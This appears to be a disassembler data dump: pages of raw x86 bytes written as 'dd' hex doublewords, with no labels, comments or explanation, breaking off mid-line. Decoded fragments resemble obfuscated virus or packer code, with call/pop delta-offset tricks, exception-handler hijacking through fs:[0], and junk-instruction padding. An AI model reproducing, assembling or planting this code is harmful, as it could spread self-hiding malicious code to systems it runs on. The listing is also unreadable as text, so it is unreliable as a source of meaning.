38FA858Dh, 0D0FF061Eh, 0E098589h, 858D061Eh, 620EE4Dh dd 0F1B5FF50h, 0FF061E02h, 1E319595h, 74C00B06h, 8DD88B0Bh dd 20FE0085h, 0D3FF5006h, 0FE00858Dh, 83660620h, 0A750938h dd 87D85C7h, 1061Eh, 95FF0000h, 61E2AE9h, 0FF25h, 5F88300h dd 85C70A73h, 61E2961h, 1, 0B9B58960h, 61061E20h, 10E9h dd 0A4F1B700h, 9BAE441Ah, 2E313BC4h, 5E6A0Fh, 0FBD8030h dd 620FAh, 13850Fh, 8D0B0000h, 61E1661h, 31E1958Bh, 5FE9061Eh dd 0B200001Ah, 7DBD83F1h, 61E08h, 0FF850Fh, 0BD8B0000h dd 61E2341h, 0F9D9858Dh, 0E9800620h, 0BD295028h, 61E1755h dd 6A016Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 8DB3BEC3h, 958BAB39h, 61E29C9h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0C96696C3h, 1A850Fh, 0EE80000h, 6D000000h, 0C82265DBh dd 0B7AC843h, 2EA59428h, 758D0BFBh, 5A061E08h, 5B99531h dd 6A061Eh, 29E59D89h, 95FF061Eh, 61E1E6Dh, 0FE9h, 53D47D00h dd 0BD1A0F5Eh, 6B3C38EDh, 0D49E51DFh, 0FA038589h, 12E80620h dd 80000000h, 0C55A1688h, 688E87E0h, 4599C878h, 0FDF12EFBh dd 0D18B66ABh, 0D1D1BF5Fh, 0FF6A630Eh, 3830Fh, 0BF0F0000h dd 3B5FFFAh, 660620FAh, 0FF49AEB9h, 1E165595h, 13E906h dd 0F51E0000h, 9A2E821Eh, 44357E45h, 0A24008F3h, 7DB86224h dd 14858DDAh, 8B0620EEh, 1E31B5BDh, 89605006h, 1E2BF98Dh dd 3850F06h, 80000000h, 0FF6125C3h, 1E1BD195h, 0BABF6606h dd 97D781FAh, 891508EEh, 20EE9E85h, 1BD8B06h, 0B1061E23h dd 21858DB5h, 500620EEh, 0EB18589h, 0B5FF061Eh, 620EE9Eh dd 9595FFF8h, 0BF061E31h, 6241D7F5h, 0DDD8589h, 6A061Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 8B0DDFC3h, 1E099195h, 8F858D06h, 6A0620EEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 299C350h, 880F9EC1h, 0Ch, 7E9h, 317D1900h, 96F0BF58h dd 0CD850150h, 0FF061E1Fh, 20EE9EB5h, 9595FF06h, 0F061E31h dd 484h, 0D1BF6600h, 0B285894Fh, 8B0620EEh, 1E14CD95h dd 6E858D06h, 6A0620EEh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 7AA7C357h, 56882440h dd 6A5059h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0DAD586C3h, 13DEF1F1h, 89D88493h, 1E1965BDh dd 9EB5FF06h, 0E80620EEh, 7, 3D88CD41h, 0F98D2F1h, 58Bh dd 0B3C6B900h, 0FF5A7A86h, 1E319595h, 0DA816606h, 0BF6674B3h dd 8589B438h, 620EEAAh, 31459589h, 858D061Eh, 620EE61h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FC35545h dd 0E93C4143h, 5, 760E8BD1h, 0C5BD336Bh, 50061E14h, 0FFCEB70Fh dd 20EE9EB5h, 0FFF08A06h, 1E319595h, 0B19D8906h, 66061E16h dd 892A8EBFh, 20EEAE85h, 7C858D06h, 810620EEh, 152D01CAh dd 9D29507Eh, 61E3045h, 0EE9EB5FFh, 0EE90620h, 0C8000000h dd 28B634C0h, 0B4BD2B19h, 8ED918ACh, 0D6B9664Ah, 9595FF0Fh dd 0F061E31h, 181h, 8B57F500h, 85895FFAh, 61E2181h, 58C0Fh dd 81660000h, 8DDCEDCAh, 20EE3085h, 5E906h, 3BF60000h dd 5068EC6Bh, 0CCE18166h, 830F519Dh, 3, 5F35E280h, 0EE9EB5FFh dd 0F88B0620h, 319595FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 4AE348C3h, 7E967h, 0C9C90000h dd 5711D1A6h, 0A285891Ah, 0FC0620EEh, 8DFAB70Fh, 20EE3F85h dd 3860F06h, 80000000h, 8150A9CDh, 4B23D8F7h, 9EB5FF2Dh dd 0FF0620EEh, 1E319595h, 89F9F506h, 20EEA685h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0C0B9A123h, 3305C0FFh, 1E19C995h, 1046806h, 85290000h dd 61E0EB1h, 6880Fh, 0BD230000h, 61E2745h, 0EF36858Dh dd 8B660620h, 0D68B50F8h, 0F03A858Dh, 958B0620h, 61E1541h dd 9D8D8B50h, 0FF061E01h, 1E1EE595h, 8E906h, 0E1300000h dd 4F8345B1h, 0B9663981h, 0C0853FAEh, 9850Fh, 0D5800000h dd 8DB589F4h, 80061E30h, 20FA0FBDh, 850F0006h, 57h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9CC35646h, 58B89790h dd 0E9D18B66h, 15EEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 90C35343h, 0E9770810h, 0Bh, 738EEEAh dd 904882A8h, 832581C3h, 1E087DBDh, 850F0006h, 18h, 2B0DB589h dd 0BD83061Eh, 620FEB9h, 68840F00h, 66000000h, 30C2E281h dd 0EED3858Dh, 8D8B0620h, 61E1299h, 1589E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0E145DFBFh, 8B6037ACh, 1E0D45B5h, 10E906h, 485A0000h dd 0BFBACFD8h, 89021162h, 0AE9646F1h, 8B618995h, 1E29E595h dd 11E906h, 0F8600000h, 258DD5BBh, 8DF5617Fh, 20EEBE85h dd 50D48A06h, 0DE960h, 8E350000h, 95207DAEh, 0C6C35FABh dd 0E8EED2B7h, 0Fh, 859856C1h, 0E0AF595Dh, 0B7B84CC1h dd 0F0DD204h, 615ED0BFh, 0EF36858Dh, 0CA810620h, 0BEE5183h dd 51006A50h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 5653F94Bh, 0A098D8Bh, 8359061Eh, 1E087DBDh dd 840F0006h, 59h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0DBC35040h, 49B6272Bh, 0EFD680B4h, 0F05C858Dh dd 0DCBF0620h, 0E904F326h, 2Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 2CC35545h, 27793654h, 9C52DBE4h dd 45858DE0h, 8A0620F0h, 6A50F3h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 858D46C3h, 620F094h dd 319FD181h, 5E94A95h, 27000000h, 1C45B055h, 0FFD68B50h dd 1E2BB995h, 8E906h, 2A510000h, 0D6B0F049h, 0C483B7C8h dd 50006A10h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0C93A870Ch, 0EE952h, 9B100000h, 0C62C9B16h dd 301A782Ah, 8DAD982Eh, 10E95159h, 7F000000h, 0B6475734h dd 38D2D1A9h, 0D22B881Bh, 5F1CBCFAh, 0BD89C08Bh, 61E22D9h dd 1D79BD83h, 7500061Eh, 25BD8309h, 61E2Bh, 53501974h dd 0D3B8C08Bh, 89000007h, 1E0CE985h, 3A9D8D06h, 0FF0620ACh dd 83585BD3h, 1E2B25BDh, 17740006h, 0D3B85350h, 89000007h dd 1E0CE985h, 299D8D06h, 0FF0620A9h, 8B585BD3h, 1E32518Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 9751B6BFh, 0F98B6643h, 860FC08Bh, 12h, 0DE9h dd 744A3E00h, 25605CABh, 62EF1CF0h, 0BD8173E1h, 620EEBEh dd 6165726Fh, 9F840Fh, 958B0000h, 61E0509h, 0EF36858Dh dd 8D500620h, 20F07385h, 858D5006h, 620F094h, 0B995FF50h dd 83061E2Bh, 85C60CC4h, 61E2041h, 184F6844h, 0B5FF96A3h dd 61E02F1h, 38FA858Dh, 0D0FF061Eh, 858DD88Bh, 620F094h dd 8DD3FF50h, 20EEBE85h, 858D5006h, 620EF36h, 7DBD8350h dd 61E08h, 858D0874h, 620F05Ch, 858D06EBh, 620F045h, 94858D50h dd 500620F0h, 2BB995FFh, 0C483061Eh, 50006A10h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0B6F98BDAh dd 0E995FF34h, 66061E2Ah, 4A52F281h, 1E65BD89h, 0FF25061Eh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 90DDC352h, 0F883C44Eh, 8C830F05h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0B1FDC353h, 0F1807409h, 6185C728h dd 1061E29h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 1849C351h, 294273CCh dd 1E1E918Dh, 0D1816606h, 858D17FAh, 620EEF2h, 15E98D29h dd 0B70F061Eh, 7EE9FEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 126155C3h, 83D18B66h dd 1E087DBDh, 840F0006h, 21h, 0FC6ABA66h, 0EF1D858Dh, 8B660620h dd 3EE9D0h, 0AE90000h, 0D3000000h, 5307B92Eh, 4F3E27E3h dd 0FF858D92h, 6A0620EEh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0ACAAC356h, 0F5FCB0B6h dd 0C8A86DC4h, 50EB966h, 0EF328589h, 85310620h, 61E140Dh dd 87DBD83h, 0F00061Eh, 1985h, 59BD8B00h, 83061E20h, 20FEB9BDh dd 840F0006h, 13h, 9999D89h, 27E9061Eh, 0F000011h, 284h dd 0E972B200h, 4A3h, 0FE9h, 0EDE7F200h, 0B5D503EAh, 0B4CA603Bh dd 893FC5C3h, 0B589C08Bh, 61E1CA9h, 1D79BD83h, 7500061Eh dd 25BD8309h, 61E2Bh, 53501974h, 0D4B8C08Bh, 89000007h dd 1E0CE985h, 3A9D8D06h, 0FF0620ACh, 83585BD3h, 1E2B25BDh dd 17740006h, 0D4B85350h, 89000007h, 1E0CE985h, 299D8D06h dd 0FF0620A9h, 0BA585BD3h, 41C9C644h, 8BD78B66h, 35BD89C0h dd 68061E29h, 0F003Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 4BC35141h, 19F5ABDBh, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 283E96C3h, 958B1151h, 61E1AF9h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E49AD7C3h dd 7C1913ECh, 41BD01DDh, 0E9061E1Ah, 7, 0ED04E821h, 0FF3E89D9h dd 1E0DDD95h, 0E1816606h, 0C0857D82h, 4850Fh, 0BF660000h dd 85893BA5h, 620EEB6h, 1CFD9503h, 8D89061Eh, 61E3179h dd 51B1006Ah, 9D89006Ah, 61E2E3Dh, 0BD8B006Ah, 61E335Dh dd 0CE9006Ah, 59000000h, 0BE5F3051h, 668BC86h, 6AB01B80h dd 0C9953100h, 0E8061E2Bh, 0Ch, 59A5112Fh, 0E5202D67h dd 0E043608Ah, 7E8h, 9208C500h, 2EE2B5E2h, 1319531h, 5A5A061Eh dd 0F094858Dh, 6A0620h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 3E876C3h, 3880FD3h, 66000000h, 8B50F98Bh dd 1E096595h, 66016A06h, 6A0087B9h, 0A59D8901h, 6A061E1Eh dd 0C98D8B01h, 68061E25h, 0F01FFh, 87DBD83h, 0F00061Eh dd 5F84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8D8B36EDh, 61E1AA1h, 16519589h, 858D061Eh dd 620EF13h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 1C35343h, 292CD343h, 1E2DA58Dh, 0CE906h, 840F0000h dd 0 dd 0EEE9858Dh, 89500620h, 1E2BE585h, 0BD8B5006h, 61E1B49h dd 0EEB6B5FFh, 6A0620h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 92B9B3C3h, 948E189h, 11E9h, 76085900h dd 861ED1BDh, 25A6A51Ch, 0E91BF726h, 95FFBF25h, 620EEA2h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E5C35141h dd 0E88B2BDFh, 0FC085DEh, 2D85h, 33EA8100h, 0E959F17Fh dd 6Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 0D6C35545h, 33018D8Bh, 8589061Eh, 620EEBAh, 7D62F281h dd 0B5FF619Ch, 620EEBAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 51C35545h, 1880FF6h, 0FC000000h, 218195FFh dd 0BD89061Eh, 61E0CF9h, 850FC085h, 3, 6AD18B66h, 8ECF8110h dd 833FC978h, 1E087DBDh, 840F0006h, 1Fh, 8DC88B66h, 20EF1385h dd 6820F06h, 8B000000h, 1E02B9BDh, 2AE906h, 0CFBA0000h dd 8D09C271h, 20EEE985h, 6E806h, 5EB30000h, 0C3A7876Fh dd 0EE9h, 5EC7A100h, 0D976FCDBh, 0D200304Ch, 5FDDA731h dd 89B58950h, 0FF061E1Ch, 20EEB6B5h, 5DBD8B06h, 1061E31h dd 1E3399BDh, 0AE95FF06h, 8B0620EEh, 1E135D95h, 0FC08506h dd 685h, 0F9BD2900h, 89061E07h, 20EEBA85h, 69950906h, 6A061E2Ah dd 5DB52900h, 6A061E16h, 0B5FFF500h, 620EEBAh, 174DB589h dd 95FF061Eh, 620EEA6h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 8DC35646h, 2DE59D09h, 8D8B061Eh, 61E051Dh dd 850FC085h, 3Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 22C35343h, 675FEF8Fh, 14800Fh, 0E9600000h dd 7, 0BF804A82h, 890882E8h, 1E0D69BDh, 0B5FF6106h, 620EEBAh dd 12E9h, 2B62C900h, 23E0C1ACh, 944DAC57h, 0C8F215C8h dd 8BFC57B3h, 1E2EA5BDh, 8195FF06h, 0F8061E21h, 850FC085h dd 23h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h dd 8DC35545h, 5C34F6D3h, 6AB9B61Bh, 0AE900h, 44C30000h dd 0A7FEC971h, 14CF3280h, 0DE9h, 0BE79AF00h, 54CA00F8h dd 0D7025FA4h, 8068FC23h, 0F000000h, 36ACFB7h, 2C01B589h dd 6A061Eh, 2198D09h, 6A061Eh, 0EE9h, 0C4050000h, 0BB8F4E7Dh dd 0AAF12583h, 68D08338h, 0C0000000h, 2B39958Bh, 0F88B061Eh dd 0EF32B5FFh, 8E90620h, 76000000h, 0CB102966h, 0FFCDB944h dd 1E054595h, 29BD8B06h, 83061E09h, 850FFFF8h, 4EFh, 7788B960h dd 8D016FC4h, 61E01BDh, 0A085FF61h, 8B0620F9h, 1E15058Dh dd 83CE8A06h, 20F9A0BDh, 840F0206h, 3C9h, 7E8h, 7FF99F00h dd 68894B72h, 6800Fh, 0B5290000h, 61E1F09h, 9F858D59h dd 6A005AF5h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0FBFC352h, 68Bh, 69BD8B00h, 0FF061E0Dh dd 0D28166D0h, 858D787Dh, 5AEFF2h, 0D0FFD38Bh, 4BBAC08Bh dd 0E95512C9h, 0Fh, 637CD785h, 1CD69C28h, 4BFCBE15h, 830C5023h dd 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh, 8B535019h dd 7D8B8C0h, 85890000h, 61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h dd 0BD83585Bh, 61E2B25h, 50177400h, 7D8B853h, 85890000h dd 61E0CE9h, 0A9299D8Dh, 0D3FF0620h, 0BD09585Bh, 61E2EB9h dd 0D5BF6650h, 0FDB65FEFh, 8D89C08Bh, 61E26D9h, 0F003F68h dd 898D8B00h, 6A061E20h, 8FCA8100h, 6A5D4606h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B112A49h, 1E16D18Dh, 0DD95FF06h, 1061E0Dh, 1E157D95h dd 0FC08506h, 8589D6B7h, 620EEB6h, 0FF68C2B2h, 0F9000F01h dd 87DBD83h, 0F00061Eh, 1C84h, 8D60B100h, 20EF1385h, 0B6B96606h dd 16E94Fh, 81660000h, 8B6703CAh, 1E00118Dh, 0E9858D06h dd 0B90620EEh, 19FC7E43h, 6870F50h, 1000000h, 1E1A1DB5h dd 0B6B5FF06h, 530620EEh, 78E18166h, 858959C8h, 61E0075h dd 0EEAE95FFh, 0B70F0620h, 0D18166F9h, 858969A4h, 620EEBAh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A6C35141h dd 0C728764Dh, 1E139585h, 6, 884CBA00h, 0BD83112Fh, 620EEBAh dd 0EA840F00h, 51000001h, 20D18D8Bh, 8D5A061Eh, 20F19885h dd 0F8B1B906h, 9D89251Eh, 61E00FDh, 0D18D8B50h, 6A061E0Dh dd 29958B01h, 0FF061E31h, 20EEBAB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B827802h dd 1E16698Dh, 0B295FF06h, 0F0620EEh, 688h, 25958B00h, 80061E19h dd 0B5FF4FDDh, 620EEBAh, 4810Fh, 0BF660000h, 95FF233Dh dd 61E2181h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 47C35545h, 0DE84Eh, 35E80000h, 207DAE8Eh, 0C35FAB95h dd 8BD2B7C6h, 1E07D995h, 0FF685F06h, 0F000F01h, 38Bh, 61D28000h dd 87DBD83h, 0F00061Eh, 3E84h, 11E800h, 0C46E0000h, 13B0F3ECh dd 0D25875Dh, 0EFACF9DAh, 0F4662B2h, 687h, 85B50900h, 59061E30h dd 0EF13858Dh, 0F6B50620h, 1A258D0Bh, 19E9061Eh, 0F000000h dd 28Bh, 8DD78B00h, 20EEE985h, 6E906h, 6AD10000h, 0CB507820h dd 0D7816650h, 0D280C18Dh, 0B6B5FFD7h, 6A0620EEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 4B3DC350h, 0FFD18B22h, 20EEAE95h, 0BA858906h, 6A0620EEh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0EE1BC356h, 142E741Fh, 0FF52B8C1h, 20EEBAB5h dd 519D8906h, 0FF061E27h, 20EEAA95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0FFEE8A4Eh dd 20EEBAB5h, 0EA816606h, 95FFA606h, 61E2181h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3AC35343h, 2074C937h dd 599D89E2h, 89061E15h, 1E1A6595h, 0F706E906h, 9AB9FFFFh dd 93832FFh, 1E18E9BDh, 3B5FF06h, 6A0620FAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0CEE8C350h, 91BDB643h, 3BBA7675h, 0FF2992CDh, 1E16B995h dd 88F0F06h, 0F000000h, 281h, 8B47B200h, 1E0CBD85h, 51958906h dd 0E9061E13h, 5D8h, 13719D01h, 0B58D061Eh, 620F1B8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 9DC35747h, 0E1BEC0F2h dd 17C5B589h, 858D061Eh, 6209F8Ah, 860FD0FFh, 6, 7B5BD89h dd 6A061Eh, 95FFD68Bh, 61E1375h, 0FE874B6h, 0ED000000h dd 0FD3AA3DFh, 8F60A666h, 4DB3FE3Dh, 8D8BF121h, 61E2E49h dd 0FF38B59h, 688h, 0F5F78100h, 8D6D4569h, 209F8A85h, 89958906h dd 0FF061E27h, 99589D0h, 89061E1Fh, 1E1609BDh, 9006A06h dd 1E0C2D85h, 7595FF06h, 0F061E13h, 280h, 8BF2B600h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 399D8991h, 83061E02h, 1E1D79BDh, 9750006h, 2B25BD83h dd 7400061Eh, 8B535019h, 7D9B8C0h, 85890000h, 61E0CE9h dd 0AC3A9D8Dh, 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h dd 7D9B853h, 85890000h, 61E0CE9h, 0A9299D8Dh, 0D3FF0620h dd 0EA8A585Bh, 14CDBD29h, 8BFC061Eh, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0DAC255A9h dd 7F571CF8h, 0CA816600h, 0F950C3CBh, 0BA66D88Bh, 8D532602h dd 1E20ED9Dh, 89038B06h, 50438B03h, 8D504389h, 20F99C9Dh dd 89038B06h, 6A5B03h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 6510E3C3h, 6AF289h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 48352AC3h dd 0BFE9C51Dh, 206FD7B3h, 13E9006Ah, 0C5000000h, 0F70EBA5Ch dd 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h, 858D0E01h, 620F99Ch dd 8B50D18Bh, 1E075995h, 0F606A06h, 682h, 718D8B00h, 8D061E29h dd 1E20ED85h, 0D78B6606h, 52006A50h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 7D21E180h dd 0C40D2C9h, 0F006A46h, 68Ch, 75958B00h, 6A061E29h, 51958900h dd 68061E2Ah, 1800h, 33B59D01h, 5653061Eh, 0DE953h, 83A90000h dd 0BB466CD3h, 0E83462C8h, 59B310A1h, 995FF5Ah, 66061E2Bh dd 48AD981h, 9DD95FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 89DF2C3h, 8B6636DAh dd 3B5FFFEh, 0F0620FAh, 588h, 3F1CB900h, 95FF5A8Fh, 61E16B9h dd 12E960h, 93D40000h, 0B70F9177h, 3A294055h, 2709821Bh dd 38542EB4h, 0BE9h, 0F6A37B00h, 1E4F7A44h, 0DFCC2434h dd 0D39BBA61h, 858D2556h, 61E20EDh, 8BCDDD80h, 89601840h dd 1E17758Dh, 10E906h, 130C0000h, 80C38139h, 821523Eh dd 0F9B697AEh, 0C761F5D0h, 1E174985h, 6, 7E96000h, 23000000h dd 0CF4608C9h, 8F0FACD8h, 3, 61D6BF0Fh, 87DBD83h, 0F00061Eh dd 3C84h, 398D3100h, 3D061E29h, 8Ch, 1F9830Fh, 81660000h dd 0E9B5F3D2h, 6Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0B6C35040h, 0FFB9663Dh, 963D92h, 830F0000h dd 1C3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0ECC35242h, 37D659F2h, 0E8696895h, 0Ch, 0BFC67BBBh dd 6C017A9Eh, 8AE17BECh, 58B0Fh, 81660000h, 5A90BADFh dd 0F59F858Dh, 6A005Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0CF565EC3h, 9589A368h, 61E0CEDh dd 9D89D0FFh, 61E2A11h, 0EFF2858Dh, 0BD89005Ah, 61E2DA5h dd 8589D0FFh, 61E1769h, 950BC08Bh, 61E2391h, 0EE953h, 2030000h dd 0C5EAD713h, 7A4A7CF0h, 0AA72EC15h, 79BD835Ah, 61E1Dh dd 0BD830975h, 61E2B25h, 50197400h, 0B8C08B53h, 0BC6h dd 0CE98589h, 9D8D061Eh, 620AC3Ah, 585BD3FFh, 2B25BD83h dd 7400061Eh, 0B8535017h, 0BC6h, 0CE98589h, 9D8D061Eh dd 620A929h, 585BD3FFh, 0E2815F52h, 4B3FDA25h, 0F4DA8166h dd 6AC08B99h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0F9D5C353h, 56974E75h, 3BCE10A6h dd 0FFFF883h, 5985h, 0C7C88B00h, 1E044D85h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B2D3A73h, 0F6E9D1h, 0D08B0000h, 58E9h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0F4BBC2FCh, 0F883F235h, 2E850F01h, 60000000h, 0ECC7BE66h dd 5890Fh, 81660000h, 61E288C8h, 0C860Fh, 8A0F0000h, 6 dd 8A0Fh, 0B5E90000h, 8B000000h, 1E1EFD95h, 0F17AE906h dd 8BF5FFFFh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0F8BF0FB2h, 1D79BD83h, 7500061Eh dd 25BD8309h, 61E2Bh, 53501974h, 0DDB8C08Bh, 89000007h dd 1E0CE985h, 3A9D8D06h, 0FF0620ACh, 83585BD3h, 1E2B25BDh dd 17740006h, 0DDB85350h, 89000007h, 1E0CE985h, 299D8D06h dd 0FF0620A9h, 0E9585BD3h, 6, 0B10F3BCAh, 5E92E8Bh, 0E3000000h dd 5433302h, 0B70FC08Bh, 1F4E9CFh, 8D890000h, 61E33B9h dd 0F7A0858Dh, 0BD310620h, 61E0CB9h, 0F9988589h, 0E9F90620h dd 34h, 0F5A8858Dh, 66400620h, 893E08BFh, 20F99885h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 9EBB5C54h, 0D78B661Eh, 858D346Ah, 61E3091h, 98B5FF50h dd 6A0620F9h, 0D595FF00h, 83061E31h, 840F07F8h, 162h, 0F6DB8C66h dd 850F04C3h, 0FCh, 204185C6h, 6856061Eh, 9CA8B852h, 2F1B5FFh dd 858D061Eh, 61E38FAh, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h dd 20FA0B85h, 4185C606h, 47061E20h, 18AC9B68h, 0F1B5FFECh dd 8D061E02h, 1E38FA85h, 0FFD0FF06h, 0C6F08BD0h, 1E204185h dd 61684F06h, 0FFC62F26h, 1E1E9DB5h, 0FA858D06h, 0FF061E38h dd 79D8DD0h, 530620FAh, 0FF56286Ah, 75C085D0h, 4185C600h dd 41061E20h, 87649868h, 9DB5FFDBh, 8D061E1Eh, 1E38FA85h dd 89D0FF06h, 20FA2485h, 4185C606h, 4C061E20h, 0A4E7A468h dd 9DB5FF80h, 8D061E1Eh, 1E38FA85h, 8BD0FF06h, 20FA0B9Dh dd 45B8D06h, 109D8D53h, 530620FAh, 0D0FF006Ah, 0FA0B9D8Bh dd 3C70620h, 1, 20C43C7h, 0C7000000h, 1E04A185h, 6, 6A006A00h dd 8B006A00h, 20FA0B9Dh, 6A5306h, 0FA07B5FFh, 95FF0620h dd 620FA24h, 204185C6h, 6845061Eh, 92A5F797h, 1455B5FFh dd 858D061Eh, 61E38FAh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h dd 327504C3h, 0FA0B9D8Bh, 43C70620h, 0Ch, 6A006A00h, 0B9D8B00h dd 530620FAh, 0B5FF006Ah, 620FA07h, 0FA2495FFh, 0B5FF0620h dd 620FA07h, 9DD95FFh, 6A061Eh, 137595FFh, 850F061Eh, 0Ch dd 7E9h, 8F2BC300h, 7613135Eh, 0B9669BB2h, 858DAAEDh, 6212DF4h dd 23F9B70Fh, 1E1F85BDh, 8E0F5006h, 5, 0BBDF8166h, 0B5295350h dd 61E0879h, 35FF645Ah, 0 dd 1A958D8Bh, 8964061Eh, 25h, 799D8900h, 89061E22h, 1E1651B5h dd 51BD8306h, 61E33h, 2C840Fh, 83F80000h, 1E272DBDh, 850F0106h dd 1Eh, 26BD958Bh, 0BD80061Eh, 620FE24h, 0B850F00h, 89000000h dd 1E1F2995h, 180E906h, 0DB330000h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 30C35646h, 0C0335E9Ch, 3F0F40FCh dd 8F640B07h, 5, 4C48300h, 1F89B501h, 6A061Eh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 793F75C3h, 0BF0FB6AEh, 0FFFB83FFh, 16840Fh, 0B5600000h dd 0E961F9D5h, 108h, 3021958Bh, 0B529061Eh, 61E1F05h, 9EE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 27AF56FEh, 6623AA8Ah, 9C47DA81h, 7F91BF66h dd 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h dd 0C245C8Bh, 0E855h, 815D0000h, 212E16EDh, 0B8838B06h dd 8D000000h, 212ECA85h, 0B8838906h, 5D000000h, 6AC3C033h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 4056C355h, 0CFF78166h, 0F18D89C0h, 33061E21h dd 1E0EFD95h, 31BD8906h, 8D061E2Eh, 212E0C85h, 0FDF28106h dd 500EA8B4h, 514AE281h, 958B60A9h, 61E0F39h, 35FF64h dd 8B000000h, 1E16D58Dh, 25896406h, 0 aF_2 db 'f╨ц',0Bh,'╧',0Ah,0 align 4 dd 0D704B800h, 64054855h, 